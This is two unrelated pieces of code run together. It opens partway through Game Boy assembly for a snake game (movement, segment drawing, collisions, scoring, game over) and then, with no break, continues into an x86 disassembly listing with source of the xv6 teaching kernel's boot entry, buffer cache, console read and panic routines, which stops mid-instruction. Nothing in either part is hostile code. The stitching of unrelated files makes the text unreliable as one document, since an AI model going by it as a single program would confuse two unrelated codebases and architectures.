(Snake_heads_tiles_end - Snake_heads_tiles) + (Back_tiles_end - Back_tiles) ; previous tiles call memcopy ld bc, Font_tiles ld de, Font_tiles_end - Font_tiles ld hl, _VRAM + $100 ; numbers start at $8100 (tile 10) call memcopy ; load _SCRN0 call load_board_scrn ; clean OAM call clean_oam ; load score digits xor a ld [_SCORE_DIGIT_1_SPRITE_ATTR], a ld [_SCORE_DIGIT_2_SPRITE_ATTR], a ld [_SCORE_DIGIT_3_SPRITE_ATTR], a ; common Y ld a, 16 ; 16 ld [_SCORE_DIGIT_1_SPRITE_POS_Y], a ld [_SCORE_DIGIT_2_SPRITE_POS_Y], a ld [_SCORE_DIGIT_3_SPRITE_POS_Y], a ld a, 8 + (8 * 2) ld [_SCORE_DIGIT_1_SPRITE_POS_X], a ld a, 8 + (8 * 3) ld [_SCORE_DIGIT_2_SPRITE_POS_X], a ld a, 8 + (8 * 4) ld [_SCORE_DIGIT_3_SPRITE_POS_X], a ; set digit sprites call reset_score_digits_sprite_index ; set item sprite call reset_item_sprite ret ; first init before each run; also called when reseting after crash ; set the player states vars init_logic: ; set player stuff ld a, _PLAYER_INITIAL_POS_Y ; pos Y ld [_PLAYER_POS_Y], a ld a, _PLAYER_INITIAL_POS_X ; pos X ld [_PLAYER_POS_X], a ld a, _PLAYER_TILE_HORIZONTAL_VALUE ; sprite right ld [_PLAYER_INDEX_SPRITE], a xor a ld [_PLAYER_MIRRORED_Y], a ld [_PLAYER_MIRRORED_X], a ld [_PLAYER_DIR_Y], a ld a, 8 ld [_PLAYER_DIR_X], a ; set item stuff ld a, _ITEM_INITIAL_POS_Y ; pos Y ld [_ITEM_POS_Y], a ld a, _ITEM_INITIAL_POS_X ; pos X ld [_ITEM_POS_X], a xor a ld [_ITEM_PICKED], a ; item not picked ; set segments number ld a, _PLAYER_INITIAL_SEGMENTS ld [_PLAYER_SEGMENTS_COUNT], a ; set _SEGMENTS_TTL to 0 as ttl for segments ld hl, _SEGMENTS_TTL ld bc, _SEGMENTS_TTL_TOTAL .init_logic_segments_ttl_loop: xor a ld [hli], a dec bc ld a, b or c jr nz, .init_logic_segments_ttl_loop ; reset joypad info ld hl, _JOYPAD_STATE xor a ld [hl], a ; reset pseudorandom_val ld a, [rDIV] ld [_PSEUDORANDOM_VAL], a ; reset score xor a ld [_SCORE_VAL], a ret ; ------------------------------------------ move_player: ; -------------------- ; SET PLAYER DIRECTION ; -------------------- ; check directions ld hl, _JOYPAD_STATE ; get current dir Y ; if it's not 0, check only for dir X ld a, [_PLAYER_DIR_Y] or a ; set flags jr nz, .check_left_right ; 0 -> "moving left-right", so check up/down to change directions ; 1 -> "moving up-down", so check left/right to change directions ; this works because cannot change from up to down or left to right, ; it's always an "axis change" ; check UP ; -------- ld a, [hl] and _JOYPAD_BUTTON_UP jr z, .move_player_check_down ld a, -8 ld [_PLAYER_DIR_Y], a xor a ld [_PLAYER_DIR_X], a ld [_PLAYER_MIRRORED_X], a ; reset the X flip option since we're changing to up/down ; point UP, VERTICAL sprite ; point UP, flip the sprite (Y) ld a, _PLAYER_TILE_VERTICAL_VALUE ld [_PLAYER_INDEX_SPRITE], a ld a, 1 ld [_PLAYER_MIRRORED_Y], a ret ; check DOWN ; -------- .move_player_check_down: ld a, [hl] and _JOYPAD_BUTTON_DOWN ret z ld a, 8 ld [_PLAYER_DIR_Y], a xor a ld [_PLAYER_DIR_X], a ld [_PLAYER_MIRRORED_X], a ; reset the X flip option since we're changing to up/down ; point DOWN, VERTICAL sprite ; point DOWN, do not flip the sprite ld a, _PLAYER_TILE_VERTICAL_VALUE ld [_PLAYER_INDEX_SPRITE], a xor a ld [_PLAYER_MIRRORED_Y], a ret .check_left_right: ; check RIGHT ; -------- ld a, [hl] and _JOYPAD_BUTTON_RIGHT jr z, .move_player_check_left xor a ld [_PLAYER_DIR_Y], a ld [_PLAYER_MIRRORED_Y], a ; reset the Y flip option since we're changing to left/right ld a, 8 ld [_PLAYER_DIR_X], a ; point RIGHT, HORIZONTAL sprite ; point RIGHT, do not flip the sprite ld a, _PLAYER_TILE_HORIZONTAL_VALUE ld [_PLAYER_INDEX_SPRITE], a xor a ld [_PLAYER_MIRRORED_X], a ret ; check LEFT ; ---------- .move_player_check_left: ld a, [hl] and _JOYPAD_BUTTON_LEFT ret z xor a ld [_PLAYER_DIR_Y], a ld [_PLAYER_MIRRORED_Y], a ; reset the Y flip option since we're changing to left/right ld a, -8 ld [_PLAYER_DIR_X], a ; point LEFT, HORIZONTAL sprite ; point LEFT, flip the sprite (X) ld a, _PLAYER_TILE_HORIZONTAL_VALUE ld [_PLAYER_INDEX_SPRITE], a ld a, 1 ld [_PLAYER_MIRRORED_X], a ret ; since segments are part of the background this ; function will use some wait_vblanks to handle it process_draw_segments: ; draw the current segment ld a, [_PLAYER_POS_X] ld b, a ld a, [_PLAYER_POS_Y] ld c, a call pixels_to_map_index ; now HL contains the full line from _SCRN0 ; change the background push hl call wait_vblank ld bc, _SCRN0 add hl, bc ld a, _SEGMENT_TILE ; current segments as ttl ld [hl], a pop hl ld bc, _SEGMENTS_TTL add hl, bc ld a, [_PLAYER_SEGMENTS_COUNT] ; current segments as ttl ld [hl], a ; if _ITEM_PICKED, _PLAYER_SEGMENTS_COUNT++ and not decrement the list ; else DECREMENT the current _SEGMENTS_TTL list without _PLAYER_SEGMENT_COUNT++ ; this will create a new segment without decrementing and the next ones will ; have the TTL increased by 1 ; check item ld a, [_ITEM_PICKED] or a jr z, .draw_segments_no_item ; item picked xor a ld [_ITEM_PICKED], a ; reset flag ld a, [_PLAYER_SEGMENTS_COUNT] add 1 ld [_PLAYER_SEGMENTS_COUNT], a ; check for max segments cp 255 jr z, .draw_segments_max_segments_reached jr .draw_segments_end .draw_segments_no_item: ; check all the SEGMENTS_TTL and decrement until reaching 0 ld hl, _SEGMENTS_TTL ld bc, _SEGMENTS_TTL_TOTAL ld de, _SCRN0 .draw_segments_loop: ld a, [hl] or a ; is 0? jr z, .draw_segments_loop_end_iteration ; already 0, so do nothing dec a ld [hl], a or a jr nz, .draw_segments_loop_end_iteration ; is 0 now? ld a, _BLANK_TILE call wait_vblank ld [de], a .draw_segments_loop_end_iteration: inc hl inc de dec bc ld a, b or c jr nz, .draw_segments_loop .draw_segments_end: ret .draw_segments_max_segments_reached: ; well... call game_over ret ; player sprite (OAM) draw_player: ; -------------------------------- ; PLAYER ; -------------------------------- call wait_vblank ; player X ld hl, _PLAYER_POS_X ld a, [_PLAYER_DIR_X] add a, [hl] ld [hl], a ; save position ld hl, _PLAYER_SPRITE_POS_X ; update the OAM with the new position ld [hl], a ; player Y ld hl, _PLAYER_POS_Y ld a, [_PLAYER_DIR_Y] add a, [hl] ld [hl], a ; save position ld hl, _PLAYER_SPRITE_POS_Y ; update the OAM with the new position ld [hl], a ; player sprite index ld hl, _PLAYER_SPRITE_INDEX ld a, [_PLAYER_INDEX_SPRITE] ld [hl], a ; since we mirror only X or Y but not X AND Y at the same time, ; use those absolute values (always the same palette and default params) ; mirror Y? ld a, [_PLAYER_MIRRORED_Y] or a jr nz, .draw_mirror_y ; no mirror ld a, %00000000 ld [_PLAYER_SPRITE_ATTR], a jr .draw_check_mirror_x .draw_mirror_y: ld a, %01000000 ld [_PLAYER_SPRITE_ATTR], a jr .draw_check_mirror_end ; mirror X? .draw_check_mirror_x: ld a, [_PLAYER_MIRRORED_X] or a ld a, [_PLAYER_SPRITE_ATTR] jr nz, .draw_mirror_x ; no mirror ld a, %00000000 ld [_PLAYER_SPRITE_ATTR], a jr .draw_check_mirror_end .draw_mirror_x: ld a, %00100000 ld [_PLAYER_SPRITE_ATTR], a .draw_check_mirror_end: ret ; check for collisions between walls, segments and/or items; ; if collided with an item, add score and relocate - in that ; case some VRAM operations will be performed check_collisions: ; -------------------------------- ; CHECK COLLISIONS WITH WALLS ; -------------------------------- ; check colisions with WALLS ; col X ld a, [_PLAYER_POS_X] cp 160 ; 20 * 8, right wall jr z, .check_collisions_set_game_over cp 8 ; left wall (+8 "offset") jr z, .check_collisions_set_game_over ;col Y ld a, [_PLAYER_POS_Y] cp 152 ; (18 * 8) + 8, the last tile the player can move (18 tiles height plus half of the 16 offset - our sprites are 8x8) jr z, .check_collisions_set_game_over cp 16 ; the first tile the player can move (8 + 16 'cause it begins "off screen") jr z, .check_collisions_set_game_over ; -------------------------------- ; CHECK COLLISIONS WITH ITSELF ; -------------------------------- ; get the position from the segments block ld a, [_PLAYER_POS_X] ld b, a ld a, [_PLAYER_POS_Y] ld c, a push bc ; save x / y call pixels_to_map_index ; HL now have the _SEGMENTS_TTL position ld bc, _SEGMENTS_TTL add hl, bc ld a, [hl] ; current position or a pop bc ; B, player_x / c, player_y jr nz, .check_collisions_set_game_over ; -------------------------------- ; CHECK COLLISIONS WITH ITEM ; -------------------------------- ld a, [_ITEM_POS_X] cp b ; X axis jr nz, .no_col_item ld a, [_ITEM_POS_Y] cp c ; Y axis jr nz, .no_col_item ld a, 1 ld [_ITEM_PICKED], a call get_free_position ; BC ld a, b ld [_ITEM_POS_X], a ld a, c ld [_ITEM_POS_Y], a ; draw_item in the NEW position ; (this will call a wait_vblank) call draw_item ; inc score and draw ; (this will call a wait_vblank) call inc_score_and_draw ; check it score > 255 ld a, [_SCORE_VAL] sub 255 jr z, .check_collisions_set_game_over .no_col_item: ret .check_collisions_set_game_over: call game_over ret ; "game over" function ; stop the game for a while, turn screen black, reset game_over: ld bc, 8000 call delay call wait_vblank call fade_out call shutdown_LCD call load_board_scrn call reset_score_digits_sprite_index call reset_item_sprite call init_logic ; show screen ld a, LCDCF_ON|LCDCF_BG8000|LCDCF_BG9800|LCDCF_BGON|LCDCF_OBJ8|LCDCF_OBJON ld [rLCDC], a call draw_player call draw_item call fade_in ret ; ------------------------------------------ include "utils.asm" include "tiles.asm" include "maps.asm"
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 0f in $0xf,%al 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 00 2e 10 80 mov $0x80102e00,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx struct buf head; } bcache; void binit(void) { 80100049: 83 ec 14 sub $0x14,%esp struct buf *b; initlock(&bcache.lock, "bcache"); 8010004c: c7 44 24 04 60 70 10 movl $0x80107060,0x4(%esp) 80100053: 80 80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010005b: e8 60 40 00 00 call 801040c0 <initlock> //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; 80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx initlock(&bcache.lock, "bcache"); //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; 80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 8010006c: fc 10 80 bcache.head.next = &bcache.head; 8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 80100076: fc 10 80 80100079: eb 09 jmp 80100084 <binit+0x44> 8010007b: 90 nop 8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 da mov %ebx,%edx for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100082: 89 c3 mov %eax,%ebx 80100084: 8d 43 0c lea 0xc(%ebx),%eax b->next = bcache.head.next; 80100087: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100091: 89 04 24 mov %eax,(%esp) 80100094: c7 44 24 04 67 70 10 movl $0x80107067,0x4(%esp) 8010009b: 80 8010009c: e8 ef 3e 00 00 call 80103f90 <initsleeplock> bcache.head.next->prev = b; 801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax 801000a6: 89 58 50 mov %ebx,0x50(%eax) //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax 801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; bcache.head.next = b; 801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000ba: 75 c4 jne 80100080 <binit+0x40> b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; bcache.head.next = b; } } 801000bc: 83 c4 14 add $0x14,%esp 801000bf: 5b pop %ebx 801000c0: 5d pop %ebp 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 1c sub $0x1c,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi static struct buf* bget(uint dev, uint blockno) { struct buf *b; acquire(&bcache.lock); 801000dc: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000e3: 8b 7d 0c mov 0xc(%ebp),%edi static struct buf* bget(uint dev, uint blockno) { struct buf *b; acquire(&bcache.lock); 801000e6: e8 45 41 00 00 call 80104230 <acquire> // Is the block already cached? for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f7: 75 12 jne 8010010b <bread+0x3b> 801000f9: eb 25 jmp 80100120 <bread+0x50> 801000fb: 90 nop 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } // Not cached; recycle an unused buffer. // Even if refcnt==0, B_DIRTY indicates a buffer is in use // because log.c has modified it but not yet committed it. for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 58 jmp 80100188 <bread+0xb8> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 4d je 80100188 <bread+0xb8> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100161: e8 3a 41 00 00 call 801042a0 <release> acquiresleep(&b->lock); 80100166: 8d 43 0c lea 0xc(%ebx),%eax 80100169: 89 04 24 mov %eax,(%esp) 8010016c: e8 5f 3e 00 00 call 80103fd0 <acquiresleep> bread(uint dev, uint blockno) { struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100171: f6 03 02 testb $0x2,(%ebx) 80100174: 75 08 jne 8010017e <bread+0xae> iderw(b); 80100176: 89 1c 24 mov %ebx,(%esp) 80100179: e8 b2 1f 00 00 call 80102130 <iderw> } return b; } 8010017e: 83 c4 1c add $0x1c,%esp 80100181: 89 d8 mov %ebx,%eax 80100183: 5b pop %ebx 80100184: 5e pop %esi 80100185: 5f pop %edi 80100186: 5d pop %ebp 80100187: c3 ret release(&bcache.lock); acquiresleep(&b->lock); return b; } } panic("bget: no buffers"); 80100188: c7 04 24 6e 70 10 80 movl $0x8010706e,(%esp) 8010018f: e8 cc 01 00 00 call 80100360 <panic> 80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801001a0 <bwrite>: } // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 14 sub $0x14,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 89 04 24 mov %eax,(%esp) 801001b0: e8 bb 3e 00 00 call 80104070 <holdingsleep> 801001b5: 85 c0 test %eax,%eax 801001b7: 74 10 je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001b9: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bc: 89 5d 08 mov %ebx,0x8(%ebp) } 801001bf: 83 c4 14 add $0x14,%esp 801001c2: 5b pop %ebx 801001c3: 5d pop %ebp bwrite(struct buf *b) { if(!holdingsleep(&b->lock)) panic("bwrite"); b->flags |= B_DIRTY; iderw(b); 801001c4: e9 67 1f 00 00 jmp 80102130 <iderw> // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { if(!holdingsleep(&b->lock)) panic("bwrite"); 801001c9: c7 04 24 7f 70 10 80 movl $0x8010707f,(%esp) 801001d0: e8 8b 01 00 00 call 80100360 <panic> 801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 83 ec 10 sub $0x10,%esp 801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 89 34 24 mov %esi,(%esp) 801001f1: e8 7a 3e 00 00 call 80104070 <holdingsleep> 801001f6: 85 c0 test %eax,%eax 801001f8: 74 5b je 80100255 <brelse+0x75> panic("brelse"); releasesleep(&b->lock); 801001fa: 89 34 24 mov %esi,(%esp) 801001fd: e8 2e 3e 00 00 call 80104030 <releasesleep> acquire(&bcache.lock); 80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100209: e8 22 40 00 00 call 80104230 <acquire> b->refcnt--; if (b->refcnt == 0) { 8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx) 80100212: 75 2f jne 80100243 <brelse+0x63> // no one is waiting for it. b->next->prev = b->prev; 80100214: 8b 43 54 mov 0x54(%ebx),%eax 80100217: 8b 53 50 mov 0x50(%ebx),%edx 8010021a: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 8010021d: 8b 43 50 mov 0x50(%ebx),%eax 80100220: 8b 53 54 mov 0x54(%ebx),%edx 80100223: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100226: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 8010022b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->refcnt--; if (b->refcnt == 0) { // no one is waiting for it. b->next->prev = b->prev; b->prev->next = b->next; b->next = bcache.head.next; 80100232: 89 43 54 mov %eax,0x54(%ebx) b->prev = &bcache.head; bcache.head.next->prev = b; 80100235: a1 10 fd 10 80 mov 0x8010fd10,%eax 8010023a: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 8010023d: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 80100243: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 8010024a: 83 c4 10 add $0x10,%esp 8010024d: 5b pop %ebx 8010024e: 5e pop %esi 8010024f: 5d pop %ebp b->prev = &bcache.head; bcache.head.next->prev = b; bcache.head.next = b; } release(&bcache.lock); 80100250: e9 4b 40 00 00 jmp 801042a0 <release> // Move to the head of the MRU list. void brelse(struct buf *b) { if(!holdingsleep(&b->lock)) panic("brelse"); 80100255: c7 04 24 86 70 10 80 movl $0x80107086,(%esp) 8010025c: e8 ff 00 00 00 call 80100360 <panic> 80100261: 66 90 xchg %ax,%ax 80100263: 66 90 xchg %ax,%ax 80100265: 66 90 xchg %ax,%ax 80100267: 66 90 xchg %ax,%ax 80100269: 66 90 xchg %ax,%ax 8010026b: 66 90 xchg %ax,%ax 8010026d: 66 90 xchg %ax,%ax 8010026f: 90 nop 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 1c sub $0x1c,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 89 3c 24 mov %edi,(%esp) 80100282: e8 19 15 00 00 call 801017a0 <iunlock> target = n; acquire(&cons.lock); 80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028e: e8 9d 3f 00 00 call 80104230 <acquire> while(n > 0){ 80100293: 8b 55 10 mov 0x10(%ebp),%edx 80100296: 85 d2 test %edx,%edx 80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea> 8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx 801002a1: eb 25 jmp 801002c8 <consoleread+0x58> 801002a3: 90 nop 801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.r == input.w){ if(myproc()->killed){ 801002a8: e8 03 34 00 00 call 801036b0 <myproc> 801002ad: 8b 40 24 mov 0x24(%eax),%eax 801002b0: 85 c0 test %eax,%eax 801002b2: 75 74 jne 80100328 <consoleread+0xb8> release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp) 801002bb: 80 801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) 801002c3: e8 68 39 00 00 call 80103c30 <sleep> iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ while(input.r == input.w){ 801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801002d3: 74 d3 je 801002a8 <consoleread+0x38> ilock(ip); return -1; } sleep(&input.r, &cons.lock); } c = input.buf[input.r++ % INPUT_BUF]; 801002d5: 8d 50 01 lea 0x1(%eax),%edx 801002d8: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 801002de: 89 c2 mov %eax,%edx 801002e0: 83 e2 7f and $0x7f,%edx 801002e3: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx 801002ea: 0f be d1 movsbl %cl,%edx if(c == C('D')){ // EOF 801002ed: 83 fa 04 cmp $0x4,%edx 801002f0: 74 57 je 80100349 <consoleread+0xd9> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 801002f2: 83 c6 01 add $0x1,%esi --n; 801002f5: 83 eb 01 sub $0x1,%ebx if(c == '\n') 801002f8: 83 fa 0a cmp $0xa,%edx // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 801002fb: 88 4e ff mov %cl,-0x1(%esi) --n; if(c == '\n') 801002fe: 74 53 je 80100353 <consoleread+0xe3> int c; iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ 80100300: 85 db test %ebx,%ebx 80100302: 75 c4 jne 801002c8 <consoleread+0x58> 80100304: 8b 45 10 mov 0x10(%ebp),%eax *dst++ = c; --n; if(c == '\n') break; } release(&cons.lock); 80100307: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010030e: 89 45 e4 mov %eax,-0x1c(%ebp) 80100311: e8 8a 3f 00 00 call 801042a0 <release> ilock(ip); 80100316: 89 3c 24 mov %edi,(%esp) 80100319: e8 a2 13 00 00 call 801016c0 <ilock> 8010031e: 8b 45 e4 mov -0x1c(%ebp),%eax return target - n; 80100321: eb 1e jmp 80100341 <consoleread+0xd1> 80100323: 90 nop 80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi target = n; acquire(&cons.lock); while(n > 0){ while(input.r == input.w){ if(myproc()->killed){ release(&cons.lock); 80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010032f: e8 6c 3f 00 00 call 801042a0 <release> ilock(ip); 80100334: 89 3c 24 mov %edi,(%esp) 80100337: e8 84 13 00 00 call 801016c0 <ilock> return -1; 8010033c: b8 ff ff ff ff mov $0xffffffff,%eax } release(&cons.lock); ilock(ip); return target - n; } 80100341: 83 c4 1c add $0x1c,%esp 80100344: 5b pop %ebx 80100345: 5e pop %esi 80100346: 5f pop %edi 80100347: 5d pop %ebp 80100348: c3 ret } sleep(&input.r, &cons.lock); } c = input.buf[input.r++ % INPUT_BUF]; if(c == C('D')){ // EOF if(n < target){ 80100349: 39 5d 10 cmp %ebx,0x10(%ebp) 8010034c: 76 05 jbe 80100353 <consoleread+0xe3> // Save ^D for next time, to make sure // caller gets a 0-byte result. input.r--; 8010034e: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100353: 8b 45 10 mov 0x10(%ebp),%eax 80100356: 29 d8 sub %ebx,%eax 80100358: eb ad jmp 80100307 <consoleread+0x97> int c; iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ 8010035a: 31 c0 xor %eax,%eax 8010035c: eb a9 jmp 80100307 <consoleread+0x97> 8010035e: 66 90 xchg %ax,%ax 80100360 <panic>: void panic(char *s) { 80100360: 55 push %ebp 80100361: 89 e5 mov %esp,%ebp 80100363: 56 push %esi 80100364: 53 push %ebx 80100365: 83 ec 40 sub $0x40,%esp } static inline void cli(void) { asm volatile("cli"); 80100368: fa cli int i; uint pcs[10]; cli(); cons.locking = 0; 80100369: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 80100370: 00 00 00 // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); 80100373: 8d 5d d0 lea -0x30(%ebp),%ebx uint pcs[10]; cli(); cons.locking = 0; // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); 80100376: e8 f5 23 00 00 call 80102770 <lapicid> 8010037b: 8d 75 f8 lea -0x8(%ebp),%esi 8010037e: c7 04 24 8d 70 10 80 movl $0x8010708d,(%esp) 80100385: 89 44 24 04 mov %eax,0x4(%esp) 80100389: e8 c2 02 00 00 call 80100650 